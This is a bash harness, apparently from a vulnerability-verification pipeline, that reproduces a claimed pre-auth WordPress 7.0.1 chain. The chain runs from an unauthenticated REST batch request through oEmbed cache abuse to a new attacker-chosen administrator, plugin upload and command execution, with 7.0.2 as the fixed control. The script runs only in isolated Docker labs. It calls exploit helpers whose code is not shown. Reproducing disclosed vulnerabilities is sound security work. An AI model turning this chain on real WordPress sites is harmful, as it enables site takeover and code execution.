#!/bin/bash
set -euo pipefail

# CVE-2026-63030: stock WordPress 7.0.1 unauthenticated REST chain
# -> fresh attacker-chosen administrator -> normal login -> core plugin upload
# -> command execution. The unchanged trigger is also run against WordPress 7.0.2.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
HELPERS="$REPRO_DIR/helpers"
ARTIFACTS="$ROOT/artifacts/wp-fresh-admin-chain"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

RUN_LOG="$LOGS/reproduction_steps.log"
: > "$RUN_LOG"
exec > >(tee -a "$RUN_LOG") 2>&1

WP_IMAGE="wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5"
MYSQL_IMAGE="mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b"
DRIVER_IMAGE="python:3.12-slim@sha256:423ed6ab25b1921a477529254bfeeabf5855151dc2c3141699a1bfc852199fbf"
VULN_SOURCE_COMMIT="18f793b1f16c1b15b0fc37027f4aeaefab0bfe02"
FIXED_SOURCE_COMMIT="855551c4477bd5a0407221c57dae123c4163b434"
VULN_SOURCE_TREE="f7f6423f9ce0cf81d74750b2a13b78a43395a6dd8a7c2bbb43bda78c9507dd2a"
FIXED_SOURCE_TREE="52c660f970de921db4c4c31ef700dbdd396843a34706d144ec915fc811d704a1"

for f in \
  "$HELPERS/wp2shell_full_chain.py" \
  "$HELPERS/wp2shell_lab_probe.py" \
  "$HELPERS/wp2shell_admin_to_rce.py" \
  "$HELPERS/wp2shell_install_target.py" \
  "$HELPERS/wp2shell_oembed_server.py"; do
  [ -f "$f" ] || { echo "[INFRA] Required bundled dependency missing: $f"; exit 2; }
done

# The script must use the stable prepared cache repository when available.
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PREPARED="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  CANDIDATE="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  if [ "$PREPARED" = true ] && [ -n "$CANDIDATE" ] && [ -d "$CANDIDATE" ]; then
    CACHE_DIR="$CANDIDATE"
  fi
fi
if [ -n "$CACHE_DIR" ]; then
  REPO="$CACHE_DIR/repo"
else
  REPO="$ROOT/artifacts/wordpress/repo"
  mkdir -p "$(dirname "$REPO")"
fi

RUN_TOKEN="${PRUVA_RUN_TOKEN:-$(date +%s)-$$}"
RUN_SAFE="$(printf '%s' "$RUN_TOKEN" | tr -cd 'a-zA-Z0-9' | cut -c1-16)"
[ -n "$RUN_SAFE" ] || RUN_SAFE="$$"
PREFIX="pruva-w2s-admin-$RUN_SAFE"
PUBLIC_NET="$PREFIX-public"
VULN_NET="$PREFIX-vuln"
FIXED_NET="$PREFIX-fixed"
DRIVER="$PREFIX-driver"
VULN_DB="$PREFIX-vuln-db"
VULN_WP="$PREFIX-vuln-wp"
FIXED_DB="$PREFIX-fixed-db"
FIXED_WP="$PREFIX-fixed-wp"
DB_PASS="PruvaDb-${RUN_SAFE}!"
ROOT_DB_PASS="PruvaRoot-${RUN_SAFE}!"
PROVIDER_IP="11.77.1.2"
PROVIDER_URL="http://${PROVIDER_IP}:8080/target"

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
OVERALL_SUCCESS=false
CLEANED=false
ACTIVE_PHASE="initialization"

write_manifest() {
  local note="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$note" <<'PY'
import json, sys
path, service, health, target, note = sys.argv[1:]
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Unauthenticated POST /wp-json/batch/v1 on stock WordPress; successful vulnerable chain then uses normal wp-login.php and core plugin uploader",
  "service_started": service == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": target == "true",
  "runtime_stack": [
    "stock wordpress:7.0.1-php8.2-apache at ticket-pinned digest",
    "WordPress 7.0.2 source over the same pinned base image for fixed control",
    "mysql:8.0 at ticket-pinned digest",
    "isolated Python network driver and oEmbed provider"
  ],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/source_identity.log",
    "logs/image_identity.log",
    "logs/network_boundary.log",
    "logs/oembed_provider.log",
    "logs/vulnerable_setup.log",
    "logs/vulnerable_database_before.log",
    "logs/vulnerable_http_chain.log",
    "logs/vulnerable_database_after.log",
    "logs/vulnerable_command_response.log",
    "logs/fixed_setup.log",
    "logs/fixed_database_before.log",
    "logs/fixed_http_chain.log",
    "logs/fixed_database_after.log",
    "logs/second_clean_run.log"
  ],
  "notes": note
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2)
    f.write("\n")
PY
}

proof_carry() {
  [ -n "$CACHE_DIR" ] || return 0
  [ -f "$ROOT/project_cache_context.json" ] || return 0
  local enabled
  enabled="$(jq -r '.proof_carry.enabled // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  [ "$enabled" = true ] || return 0
  local attempt="$CACHE_DIR/.pruva/proof-carry/latest_attempt"
  mkdir -p "$attempt/repro" "$attempt/logs"
  cp "$REPRO_DIR/reproduction_steps.sh" "$REPRO_DIR/runtime_manifest.json" "$attempt/repro/" 2>/dev/null || true
  cp "$REPRO_DIR/validation_verdict.json" "$REPRO_DIR/rca_report.md" "$attempt/repro/" 2>/dev/null || true
  cp "$LOGS"/*.log "$LOGS"/*.txt "$attempt/logs/" 2>/dev/null || true
  if [ "$OVERALL_SUCCESS" = true ]; then
    local confirmed="$CACHE_DIR/.pruva/proof-carry/latest_confirmed"
    mkdir -p "$confirmed/repro" "$confirmed/logs"
    cp "$attempt/repro/"* "$confirmed/repro/" 2>/dev/null || true
    cp "$attempt/logs/"* "$confirmed/logs/" 2>/dev/null || true
  fi
}

cleanup() {
  local rc=$?
  if [ "$CLEANED" != true ]; then
    docker exec "$DRIVER" cat /tmp/provider.log > "$LOGS/oembed_provider.log" 2>/dev/null || true
    docker rm -fv "$DRIVER" "$VULN_WP" "$VULN_DB" "$FIXED_WP" "$FIXED_DB" >/dev/null 2>&1 || true
    docker network rm "$PUBLIC_NET" "$VULN_NET" "$FIXED_NET" >/dev/null 2>&1 || true
    CLEANED=true
  fi
  [ -f "$REPRO_DIR/runtime_manifest.json" ] || write_manifest "Attempt ended during $ACTIVE_PHASE; inspect bundle/logs/reproduction_steps.log."
  proof_carry || true
  exit "$rc"
}
trap cleanup EXIT INT TERM

fail_infra() {
  echo "[INFRA] $*"
  write_manifest "Infrastructure/precondition failure during $ACTIVE_PHASE: $*"
  exit 2
}
fail_claim() {
  echo "[NOT CONFIRMED] $*"
  write_manifest "Claim was not fully confirmed during $ACTIVE_PHASE: $*"
  exit 1
}

command -v docker >/dev/null || fail_infra "docker is unavailable"
docker info >/dev/null 2>&1 || fail_infra "docker daemon is unavailable"
command -v jq >/dev/null || fail_infra "jq is unavailable"
command -v git >/dev/null || fail_infra "git is unavailable"
command -v timeout >/dev/null || fail_infra "timeout is unavailable"

ACTIVE_PHASE="source and image identity verification"
if [ ! -d "$REPO/.git" ]; then
  git clone https://github.com/WordPress/wordpress-develop.git "$REPO" || fail_infra "wordpress-develop clone failed"
fi
git -C "$REPO" cat-file -e "$FIXED_SOURCE_COMMIT^{commit}" 2>/dev/null || git -C "$REPO" fetch origin "$FIXED_SOURCE_COMMIT"
[ "$(git -C "$REPO" rev-parse "$FIXED_SOURCE_COMMIT")" = "$FIXED_SOURCE_COMMIT" ] || fail_infra "fixed commit identity mismatch"
git -C "$REPO" cat-file -e "$VULN_SOURCE_COMMIT^{commit}" 2>/dev/null || fail_infra "vulnerable source commit is unavailable"
# Use git grep directly (rather than `git show | grep -q` under pipefail) so a successful
# early grep exit cannot make git show report SIGPIPE and create a false failure.
git -C "$REPO" grep -q -E '\$matches\[\][[:space:]]*=.*\$single_request' "$FIXED_SOURCE_COMMIT" -- src/wp-includes/rest-api/class-wp-rest-server.php || fail_infra "fixed source lacks batch-array alignment hunk"
if git -C "$REPO" grep -q -E '\$matches\[\][[:space:]]*=.*\$single_request' "$VULN_SOURCE_COMMIT" -- src/wp-includes/rest-api/class-wp-rest-server.php; then
  fail_infra "vulnerable source unexpectedly contains batch-array alignment hunk"
fi
# The ticket-fixed source must also contain the nested-dispatch guard and scalar ID parsing fix.
git -C "$REPO" grep -q -F 'is_dispatching()' "$FIXED_SOURCE_COMMIT" -- src/wp-includes/rest-api.php || fail_infra "fixed source lacks nested-dispatch guard"
git -C "$REPO" grep -q -F 'wp_parse_id_list' "$FIXED_SOURCE_COMMIT" -- src/wp-includes/class-wp-query.php || fail_infra "fixed source lacks ID-list sanitization"

for image in "$WP_IMAGE" "$MYSQL_IMAGE" "$DRIVER_IMAGE"; do
  docker image inspect "$image" >/dev/null 2>&1 || docker pull "$image" || fail_infra "failed to obtain $image"
done
{
  echo "vulnerable_source_commit=$VULN_SOURCE_COMMIT"
  echo "fixed_source_commit=$FIXED_SOURCE_COMMIT"
  echo "ticket_vulnerable_source_tree_sha256=$VULN_SOURCE_TREE"
  echo "ticket_fixed_source_tree_sha256=$FIXED_SOURCE_TREE"
  echo "fixed_overlay_source=git-archive:$FIXED_SOURCE_COMMIT:src"
  echo "prepared_repo=$REPO"
  git -C "$REPO" log -1 --format='fixed_commit_object=%H fixed_commit_date=%cI fixed_subject=%s' "$FIXED_SOURCE_COMMIT"
} | tee "$LOGS/source_identity.log"
{
  for image in "$WP_IMAGE" "$MYSQL_IMAGE" "$DRIVER_IMAGE"; do
    docker image inspect "$image" --format 'requested={{json .RepoDigests}} image_id={{.Id}}'
  done
} | tee "$LOGS/image_identity.log"

# Every run starts from clean, uniquely named containers/networks.
docker rm -fv "$DRIVER" "$VULN_WP" "$VULN_DB" "$FIXED_WP" "$FIXED_DB" >/dev/null 2>&1 || true
docker network rm "$PUBLIC_NET" "$VULN_NET" "$FIXED_NET" >/dev/null 2>&1 || true
docker network create --subnet 11.77.1.0/24 "$PUBLIC_NET" >/dev/null || fail_infra "provider network creation failed"
docker network create --internal "$VULN_NET" >/dev/null || fail_infra "vulnerable network creation failed"
docker network create --internal "$FIXED_NET" >/dev/null || fail_infra "fixed network creation failed"

# The driver/provider is distinct from both targets and receives no owner password or DB secret.
docker run -d --name "$DRIVER" --network "$PUBLIC_NET" --ip "$PROVIDER_IP" \
  -e PRUVA_OEMBED_HOST="$PROVIDER_IP" "$DRIVER_IMAGE" sleep infinity >/dev/null || fail_infra "driver container start failed"
docker exec "$DRIVER" mkdir -p /opt/pruva
docker cp "$HELPERS/." "$DRIVER:/opt/pruva/" || fail_infra "copying bundled driver closure failed"
docker exec -d "$DRIVER" sh -c 'python3 /opt/pruva/wp2shell_oembed_server.py >/tmp/provider.log 2>&1'
for _ in $(seq 1 30); do
  docker exec "$DRIVER" python3 -c "import urllib.request; urllib.request.urlopen('$PROVIDER_URL', timeout=2)" >/dev/null 2>&1 && break
  sleep 1
done
docker exec "$DRIVER" python3 -c "import urllib.request; urllib.request.urlopen('$PROVIDER_URL', timeout=2)" >/dev/null 2>&1 || fail_infra "oEmbed provider readiness failed"

start_db() {
  local name="$1" net="$2"
  docker run -d --name "$name" --network "$net" \
    -e MYSQL_ROOT_PASSWORD="$ROOT_DB_PASS" -e MYSQL_DATABASE=wordpress \
    -e MYSQL_USER=wordpress -e MYSQL_PASSWORD="$DB_PASS" \
    "$MYSQL_IMAGE" --local-infile=0 >/dev/null || fail_infra "MySQL $name start failed"
  for _ in $(seq 1 120); do
    docker exec "$name" mysqladmin ping -h localhost -uroot -p"$ROOT_DB_PASS" --silent >/dev/null 2>&1 && break
    sleep 1
  done
  docker exec "$name" mysqladmin ping -h localhost -uroot -p"$ROOT_DB_PASS" --silent >/dev/null 2>&1 || fail_infra "MySQL $name readiness failed"
}

start_wp() {
  local name="$1" db="$2" net="$3"
  docker run -d --name "$name" --network "$net" \
    -e WORDPRESS_DB_HOST="$db:3306" -e WORDPRESS_DB_USER=wordpress \
    -e WORDPRESS_DB_PASSWORD="$DB_PASS" -e WORDPRESS_DB_NAME=wordpress \
    "$WP_IMAGE" >/dev/null || fail_infra "WordPress $name start failed"
  for _ in $(seq 1 120); do
    local code
    code="$(docker exec "$name" curl -sS --max-time 3 -o /dev/null -w '%{http_code}' http://127.0.0.1/ 2>/dev/null || true)"
    [ "$code" = 200 ] || [ "$code" = 302 ] || { sleep 1; continue; }
    return 0
  done
  fail_infra "WordPress $name readiness failed"
}

install_target() {
  local wp="$1" net="$2" setup_log="$3"
  # The target shares the isolated provider-facing network, while its database remains
  # reachable only on the private target network. This mirrors the verified topology.
  docker network connect "$PUBLIC_NET" "$wp"
  timeout 45 docker exec "$DRIVER" python3 /opt/pruva/wp2shell_install_target.py "http://$wp" | tee "$setup_log"
  grep -q 'installed_with_unrecoverable_random_owner_password=true' "$setup_log" || fail_infra "target install failed"
}

copy_fixed_source() {
  local wp="$1"
  docker exec "$wp" mkdir -p /tmp/wp702
  # Stream the commit-pinned source through Docker stdin. Worker bind paths are
  # not visible inside the sibling Docker daemon, and no large bundle artifact
  # is needed for replay.
  git -C "$REPO" archive --format=tar "$FIXED_SOURCE_COMMIT:src" \
    | docker exec -i "$wp" tar -xf - -C /tmp/wp702 \
    || fail_infra "failed to stream fixed source overlay"
  docker exec "$wp" sh -c 'cp -a /tmp/wp702/. /var/www/html/ && chown -R www-data:www-data /var/www/html'
  docker exec "$wp" grep -q "wp_version = '7.0.2-src'" /var/www/html/wp-includes/version.php || fail_infra "fixed source overlay failed"
}

capture_setup() {
  local role="$1" wp="$2" db="$3" out="$4"
  {
    echo "role=$role"
    echo "wordpress_image=$(docker inspect "$wp" --format '{{.Config.Image}}')"
    echo "wordpress_image_id=$(docker inspect "$wp" --format '{{.Image}}')"
    echo "mysql_image=$(docker inspect "$db" --format '{{.Config.Image}}')"
    echo "mysql_image_id=$(docker inspect "$db" --format '{{.Image}}')"
    echo "wordpress_version=$(docker exec "$wp" php -r 'include "/var/www/html/wp-includes/version.php"; echo $wp_version;')"
    echo "wordpress_mounts=$(docker inspect "$wp" --format '{{json .Mounts}}')"
    echo "plugins_before_begin"
    docker exec "$wp" find /var/www/html/wp-content/plugins -mindepth 1 -maxdepth 2 -type f -printf '%P\n' | sort
    echo "plugins_before_end"
    echo "mu_plugins_before_begin"
    docker exec "$wp" sh -c 'find /var/www/html/wp-content/mu-plugins -mindepth 1 -maxdepth 2 -type f -printf "%P\n" 2>/dev/null | sort || true'
    echo "mu_plugins_before_end"
    docker exec "$db" mysql -uwordpress -p"$DB_PASS" wordpress -NBe "SELECT CONCAT('user_count=',COUNT(*)) FROM wp_users; SELECT CONCAT('oembed_count=',COUNT(*)) FROM wp_posts WHERE post_type='oembed_cache'; SELECT CONCAT('local_infile=',@@local_infile); SHOW GRANTS FOR CURRENT_USER();" 2>/dev/null
  } | tee -a "$out"
  grep -q '^user_count=1$' "$out" || fail_claim "$role did not start with exactly one user"
  grep -q '^oembed_count=0$' "$out" || fail_claim "$role did not start with zero oEmbed rows"
  grep -q '^local_infile=0$' "$out" || fail_claim "$role local_infile was not disabled"
  ! grep -Eq 'GRANT .*FILE|GRANT ALL PRIVILEGES ON \*\.\*' "$out" || fail_claim "$role app DB user has forbidden global/FILE grant"
  ! grep -q '^pruva-chain-proof-' "$out" || fail_claim "$role had an exploit plugin before trigger"
}

capture_database() {
  local db="$1" out="$2"
  docker exec "$db" mysql -uwordpress -p"$DB_PASS" wordpress -NBe \
    "SELECT CONCAT('user_count=',COUNT(*)) FROM wp_users; SELECT CONCAT('user=',ID,':',user_login) FROM wp_users ORDER BY ID; SELECT CONCAT('admin=',u.ID,':',u.user_login) FROM wp_users u JOIN wp_usermeta m ON m.user_id=u.ID AND m.meta_key='wp_capabilities' WHERE m.meta_value LIKE '%administrator%' ORDER BY u.ID; SELECT CONCAT('oembed_count=',COUNT(*)) FROM wp_posts WHERE post_type='oembed_cache'; SELECT CONCAT('plugin_option=',option_value) FROM wp_options WHERE option_name='active_plugins';" \
    2>/dev/null | tee "$out"
}

run_vulnerable_once() {
  local label="$1" http_log="$2" db_after="$3" cmd_log="$4"
  ACTIVE_PHASE="$label vulnerable full chain"
  set +e
  timeout 180 docker exec "$DRIVER" python3 /opt/pruva/wp2shell_full_chain.py "http://$VULN_WP" "$PROVIDER_URL" > "$http_log" 2>&1
  local rc=$?
  set -e
  cat "$http_log"
  [ "$rc" -eq 0 ] || fail_claim "$label vulnerable chain driver exited $rc"
  python3 -m json.tool "$http_log" >/dev/null || fail_claim "$label vulnerable driver output is not JSON"
  local username
  username="$(jq -r '.administrator.username // empty' "$http_log")"
  [ -n "$username" ] || fail_claim "$label did not return a created username"
  [ "$(jq -r '.administrator.roles | index("administrator") != null' "$http_log")" = true ] || fail_claim "$label did not return administrator role"
  [ "$(jq -r '.rce.normal_login_confirmed' "$http_log")" = true ] || fail_claim "$label normal login failed"
  [ "$(jq -r '.rce.plugin_upload_confirmed' "$http_log")" = true ] || fail_claim "$label core plugin upload failed"
  jq -r '.rce.output' "$http_log" | tee "$cmd_log"
  for marker in PRUVA-RCE-BEGIN PRUVA-CMD-MARKER 'uid=33(www-data)' 'gid=33(www-data)' 'groups=33(www-data)' PRUVA-RCE-EXIT:0; do
    grep -Fq "$marker" "$cmd_log" || fail_claim "$label command response lacks $marker"
  done
  capture_database "$VULN_DB" "$db_after"
  grep -q '^user_count=2$' "$db_after" || fail_claim "$label user count did not increase to two"
  grep -Fq "admin=2:$username" "$db_after" || fail_claim "$label new database row/administrator mismatch"
  TARGET_PATH_REACHED=true
}

run_fixed_control() {
  local label="$1" http_log="$2" db_after="$3"
  ACTIVE_PHASE="$label fixed 7.0.2 unchanged-trigger control"
  set +e
  timeout 90 docker exec "$DRIVER" python3 /opt/pruva/wp2shell_full_chain.py "http://$FIXED_WP" "$PROVIDER_URL" > "$http_log" 2>&1
  local rc=$?
  set -e
  cat "$http_log"
  [ "$rc" -ne 0 ] || fail_claim "$label unchanged trigger unexpectedly succeeded on 7.0.2"
  grep -q 'oEmbed seed did not create a discoverable cache row' "$http_log" || fail_claim "$label fixed control did not stop before first cache discovery"
  capture_database "$FIXED_DB" "$db_after"
  grep -q '^user_count=1$' "$db_after" || fail_claim "$label fixed control changed user count"
  grep -q '^oembed_count=0$' "$db_after" || fail_claim "$label fixed control left oEmbed rows"
  [ "$(grep -c '^admin=' "$db_after")" -eq 1 ] || fail_claim "$label fixed control created another administrator"
}

ACTIVE_PHASE="first clean target setup"
start_db "$VULN_DB" "$VULN_NET"
start_wp "$VULN_WP" "$VULN_DB" "$VULN_NET"
install_target "$VULN_WP" "$VULN_NET" "$LOGS/vulnerable_setup.log"
start_db "$FIXED_DB" "$FIXED_NET"
start_wp "$FIXED_WP" "$FIXED_DB" "$FIXED_NET"
copy_fixed_source "$FIXED_WP"
install_target "$FIXED_WP" "$FIXED_NET" "$LOGS/fixed_setup.log"
SERVICE_STARTED=true

{
  echo "driver=$DRIVER provider_ip=$PROVIDER_IP"
  echo "vulnerable_target=$VULN_WP"
  echo "fixed_target=$FIXED_WP"
  echo "boundary=unauthenticated HTTP from distinct driver container to stock Apache/PHP/WordPress"
  docker network inspect "$VULN_NET" "$FIXED_NET" --format 'network={{.Name}} internal={{.Internal}} containers={{len .Containers}}'
} | tee "$LOGS/network_boundary.log"

# Reach the live REST API from the distinct driver container.
VULN_HEALTH="$(timeout 15 docker exec "$DRIVER" python3 -c "import urllib.request; print(urllib.request.urlopen('http://$VULN_WP/wp-json/', timeout=10).status)")"
FIXED_HEALTH="$(timeout 15 docker exec "$DRIVER" python3 -c "import urllib.request; print(urllib.request.urlopen('http://$FIXED_WP/wp-json/', timeout=10).status)")"
[ "$VULN_HEALTH" = 200 ] && [ "$FIXED_HEALTH" = 200 ] || fail_infra "attacker-side REST health check failed"
HEALTHCHECK_PASSED=true

capture_setup vulnerable "$VULN_WP" "$VULN_DB" "$LOGS/vulnerable_setup.log"
capture_database "$VULN_DB" "$LOGS/vulnerable_database_before.log"
capture_setup fixed "$FIXED_WP" "$FIXED_DB" "$LOGS/fixed_setup.log"
capture_database "$FIXED_DB" "$LOGS/fixed_database_before.log"

run_vulnerable_once first "$LOGS/vulnerable_http_chain.log" "$LOGS/vulnerable_database_after.log" "$LOGS/vulnerable_command_response.log"
run_fixed_control first "$LOGS/fixed_http_chain.log" "$LOGS/fixed_database_after.log"

# Ticket requires a second generated-script result from clean targets. Recreate every target
# container/database from scratch while retaining only the isolated stateless provider/driver.
ACTIVE_PHASE="second clean target teardown and recreation"
docker rm -fv "$VULN_WP" "$VULN_DB" "$FIXED_WP" "$FIXED_DB" >/dev/null
docker network disconnect "$VULN_NET" "$DRIVER" >/dev/null 2>&1 || true
docker network disconnect "$FIXED_NET" "$DRIVER" >/dev/null 2>&1 || true
docker network rm "$VULN_NET" "$FIXED_NET" >/dev/null
docker network create --internal "$VULN_NET" >/dev/null
docker network create --internal "$FIXED_NET" >/dev/null
start_db "$VULN_DB" "$VULN_NET"
start_wp "$VULN_WP" "$VULN_DB" "$VULN_NET"
install_target "$VULN_WP" "$VULN_NET" "$LOGS/second_vulnerable_setup.log"
start_db "$FIXED_DB" "$FIXED_NET"
start_wp "$FIXED_WP" "$FIXED_DB" "$FIXED_NET"
copy_fixed_source "$FIXED_WP"
install_target "$FIXED_WP" "$FIXED_NET" "$LOGS/second_fixed_setup.log"
capture_setup second-vulnerable "$VULN_WP" "$VULN_DB" "$LOGS/second_vulnerable_setup.log"
capture_setup second-fixed "$FIXED_WP" "$FIXED_DB" "$LOGS/second_fixed_setup.log"
run_vulnerable_once second "$LOGS/second_vulnerable_http_chain.log" "$LOGS/second_vulnerable_database_after.log" "$LOGS/second_vulnerable_command_response.log"
run_fixed_control second "$LOGS/second_fixed_http_chain.log" "$LOGS/second_fixed_database_after.log"
{
  echo "second_clean_vulnerable=confirmed"
  echo "second_clean_fixed=blocked_before_first_oembed_discovery"
  grep -F 'uid=33(www-data)' "$LOGS/second_vulnerable_command_response.log"
  grep -E '^(user_count|oembed_count)=' "$LOGS/second_fixed_database_after.log"
} | tee "$LOGS/second_clean_run.log"

OVERALL_SUCCESS=true
write_manifest "CONFIRMED: two independent clean stock WordPress 7.0.1 targets accepted the unauthenticated REST chain, each created a fresh attacker-chosen administrator, allowed normal login and core plugin upload, and returned a real www-data command marker. On two independent clean WordPress 7.0.2 controls, the unchanged trigger failed before discovering its first disposable oEmbed row; each retained one user and zero oEmbed rows."
# The Docker cleanup trap can run in a different process context under some shell wrappers.
# Ensure the required manifest still exists immediately after all cleanup-side effects.
[ -f "$REPRO_DIR/runtime_manifest.json" ] || write_manifest "CONFIRMED: both clean vulnerable/fixed matrices passed; manifest was regenerated after cleanup."
python3 -m json.tool "$REPRO_DIR/runtime_manifest.json" >/dev/null

echo "[+] CONFIRMED: WordPress 7.0.1 pre-auth fresh-administrator chain to command execution"
echo "[+] Two clean vulnerable/fixed matrices passed"
exit 0
